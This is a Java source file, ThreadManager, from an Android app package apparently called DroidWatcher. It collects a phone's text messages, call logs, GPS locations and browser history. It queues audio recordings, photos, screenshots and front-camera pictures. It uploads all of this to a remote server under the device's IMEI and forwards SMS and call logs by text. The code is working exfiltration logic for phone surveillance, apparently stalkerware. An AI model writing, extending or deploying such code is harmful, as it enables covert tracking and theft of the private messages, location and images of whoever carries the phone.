package com.droidwatcher; import java.util.ArrayList; import java.util.Date; import java.util.concurrent.ExecutorService; import java.util.concurrent.Executors; import java.util.concurrent.TimeUnit; import com.droidwatcher.FileSender.FileType; import com.droidwatcher.lib.GPS; import com.droidwatcher.lib.IMessageBody; import com.droidwatcher.lib.MessageType; import com.droidwatcher.receivers.ConnectionReceiver; import com.droidwatcher.variables.DBResult; import com.droidwatcher.variables.ServerMessage; import android.content.BroadcastReceiver; import android.content.Context; import android.content.Intent; import android.content.IntentFilter; import android.net.ConnectivityManager; import android.net.NetworkInfo; import android.support.v4.content.LocalBroadcastManager; public class ThreadManager { private Context mContext; private DBManager mDbManager; private SettingsManager mSettings; private BroadcastReceiver mReceiver; private ExecutorService mExecutorService; private boolean mIsCallThreadReady = true; private boolean mIsSmsThreadReady = true; private boolean mIsBrowserThreadReady = true; private static final Long SLEEP = 1 * 1000L; private static long sLastUpdate = 0L; private static final long UPDATE_PERIOD = 10 * 60 * 1000L; public ThreadManager(Context context){ this.mContext = context; this.mDbManager = new DBManager(context); this.mSettings = new SettingsManager(context); this.mExecutorService = Executors.newSingleThreadExecutor(); this.mReceiver = new BroadcastReceiver() { @Override public void onReceive(Context context, Intent intent) { sendLogs(); } }; LocalBroadcastManager.getInstance(context).registerReceiver(mReceiver, new IntentFilter(ConnectionReceiver.NETWORK_AVAILABLE)); } public void dispose(){ Debug.i("[ThreadManager] dispose;"); LocalBroadcastManager.getInstance(mContext).unregisterReceiver(mReceiver); mDbManager.close(); mDbManager = null; try { mExecutorService.awaitTermination(5L, TimeUnit.SECONDS); } catch (InterruptedException e) { Debug.exception(e); mExecutorService = null; } } public synchronized void addTask(Runnable runnable){ this.mExecutorService.submit(runnable); } public synchronized void onSMSChange(){ if (!mIsSmsThreadReady){ return; } mIsSmsThreadReady = false; mExecutorService.submit(new Runnable() { public void run() { try { Thread.sleep(SLEEP); } catch (InterruptedException e) { Debug.exception(e); } finally{ mIsSmsThreadReady = true; } smsUpdate(); } }); } public synchronized void onCallChange(){ if (!mIsCallThreadReady){ return; } mIsCallThreadReady = false; mExecutorService.submit(new Runnable() { public void run() { try { Thread.sleep(SLEEP); } catch (InterruptedException e) { Debug.exception(e); } finally{ mIsCallThreadReady = true; } callUpdate(); } }); } public synchronized void resetBrowserHistory(){ mDbManager.resetBrowserHistory(); } public synchronized void onBrowserHistoryChange(){ if (!mIsBrowserThreadReady){ return; } mIsBrowserThreadReady = false; mExecutorService.submit(new Runnable() { public void run() { try { Thread.sleep(5 * SLEEP); } catch (InterruptedException e) { Debug.exception(e); } finally{ mIsBrowserThreadReady = true; } browserHistoryUpdate(); } }); } public void onGPSChange(final GPS gps){ if (networkAvailable()){ ArrayList<IMessageBody> list = new ArrayList<IMessageBody>(1); list.add(gps); ServerMessage msg = new ServerMessage(MessageType.GPS, mSettings.imei(), mSettings.login(), list); new ServerMessanger(mContext, msg, new ServerMessanger.ICallBack() { @Override public void onSuccess() { } @Override public boolean onFinished(String response) { return false; } @Override public void onError() { mExecutorService.submit(new Runnable() { public void run() { mDbManager.addGPS(gps); } }); } }).start(); } else{ mExecutorService.submit(new Runnable() { public void run() { mDbManager.addGPS(gps); } }); } } private synchronized void sendLogs(){ Long currentDate = new Date().getTime(); if ((currentDate - sLastUpdate) > UPDATE_PERIOD && networkAvailable()){ sLastUpdate = currentDate; sendToServer(mDbManager.getSMS(), MessageType.SMS); sendToServer(mDbManager.getCalls(), MessageType.CALL); sendToServer(mDbManager.getGPS(), MessageType.GPS); if (mSettings.isBrowserHistoryEnabled()) { sendToServer(mDbManager.getBrowserHistory(), MessageType.BROWSER); } } if (networkAvailable_files()) { mExecutorService.submit(new FileSender(mContext, FileType.RECORD)); mExecutorService.submit(new FileSender(mContext, FileType.PHOTO)); mExecutorService.submit(new FileSender(mContext, FileType.SCREENSHOT)); mExecutorService.submit(new FileSender(mContext, FileType.FRONT_CAMERA_PHOTO)); } mExecutorService.submit(new Runnable() { @Override public void run() { SmsNotification smsNotify = new SmsNotification(mContext); DBResult result = null; result = mDbManager.getSMS(true); if (result != null){ if (smsNotify.notifySms()) { smsNotify.sendSmsLog(result.getBodyList()); mDbManager.updateSmsSentStatus(MessageType.SMS, result.getIdList()); } else{ mDbManager.updateSmsSentStatus(MessageType.SMS, result.getIdList()); } } result = mDbManager.getCalls(true); if (result != null){ if (smsNotify.notifyCall()) { smsNotify.sendCallLog(result.getBodyList()); mDbManager.updateSmsSentStatus(MessageType.CALL, result.getIdList()); } else{ mDbManager.updateSmsSentStatus(MessageType.CALL, result.getIdList()); } } } }); } private void sendToServer(DBResult result, MessageType type){ if (result == null) { return; } while (result.hasElements()) { ArrayList<Long> idList = new ArrayList<Long>(30); ArrayList<IMessageBody> bodyList = new ArrayList<IMessageBody>(30); result.getElements(30, idList, bodyList); ServerMessage msg = new ServerMessage(type, mSettings.imei(), mSettings.login(), bodyList); mExecutorService.submit( new ServerMessanger(mContext, msg, new ResponseHandler(type, idList)) ); } } public synchronized void sendFiles(){ if (networkAvailable_files()) { mExecutorService.submit(new FileSender(mContext, FileType.RECORD)); mExecutorService.submit(new FileSender(mContext, FileType.PHOTO)); mExecutorService.submit(new FileSender(mContext, FileType.SCREENSHOT)); mExecutorService.submit(new FileSender(mContext, FileType.FRONT_CAMERA_PHOTO)); } } private void smsUpdate(){ if (!mDbManager.compareSMS()){ return; } SmsNotification smsNotify = new SmsNotification(mContext); Boolean network = networkAvailable(); if (!network && ! smsNotify.notifySms()){ return; } DBResult result = mDbManager.getSMS(); if (result.getIdList().size() == 0) { return; } if (network && result.hasElements()) { ServerMessage msg = new ServerMessage(MessageType.SMS, mSettings.imei(), mSettings.login(), result.getBodyList()); new ServerMessanger(mContext, msg, new ResponseHandler(MessageType.SMS, result.getIdList())).run(); } if (smsNotify.notifySms()) { result = mDbManager.getSMS(true); if (result.getIdList().size() > 0) { smsNotify.sendSmsLog(result.getBodyList()); } } mDbManager.updateSmsSentStatus(MessageType.SMS, result.getIdList()); } private void callUpdate(){ if (!mDbManager.compareCall()){ return; } SmsNotification smsNotify = new SmsNotification(mContext); Boolean network = networkAvailable(); if (!network && ! smsNotify.notifyCall()){ return; } DBResult result = mDbManager.getCalls(); if (result.getIdList().size() == 0) { return; } if (network) { ServerMessage msg = new ServerMessage(MessageType.CALL, mSettings.imei(), mSettings.login(), result.getBodyList()); new ServerMessanger(mContext, msg, new ResponseHandler(MessageType.CALL, result.getIdList())).run(); } if (smsNotify.notifyCall()) { result = mDbManager.getCalls(true); if (result.getIdList().size() > 0) { smsNotify.sendCallLog(result.getBodyList()); } } mDbManager.updateSmsSentStatus(MessageType.CALL, result.getIdList()); } private void browserHistoryUpdate(){ if (!mDbManager.compareBrowserHistory()){ return; } if (!networkAvailable()){ return; } DBResult result = mDbManager.getBrowserHistory(); if (result.getIdList().size() == 0) { return; } ServerMessage msg = new ServerMessage(MessageType.BROWSER, mSettings.imei(), mSettings.login(), result.getBodyList()); new ServerMessanger(mContext, msg, new ResponseHandler(MessageType.BROWSER, result.getIdList())).run(); } private Boolean networkAvailable(){ ConnectivityManager manager = (ConnectivityManager)mContext.getSystemService(Context.CONNECTIVITY_SERVICE); NetworkInfo info = manager.getActiveNetworkInfo(); if (info == null){ return false; } if (mSettings.onlyWiFi() && info.getType() != ConnectivityManager.TYPE_WIFI){ return false; } return info.isConnectedOrConnecting(); } private Boolean networkAvailable_files(){ ConnectivityManager manager = (ConnectivityManager)mContext.getSystemService(Context.CONNECTIVITY_SERVICE); NetworkInfo info = manager.getActiveNetworkInfo(); if (info == null){ return false; } if ((mSettings.onlyWiFi() || mSettings.filesOnlyWiFi()) && info.getType() != ConnectivityManager.TYPE_WIFI){ return false; } return info.isConnectedOrConnecting(); } private class ResponseHandler implements ServerMessanger.ICallBack{ private MessageType mType; private ArrayList<Long> mIdList; public ResponseHandler(MessageType type, ArrayList<Long> idList){ mType = type; mIdList = idList; } @Override public void onSuccess() { mDbManager.updateSentStatus(mType, mIdList); } @Override public boolean onFinished(String response) { return false; } @Override public void onError() { } } }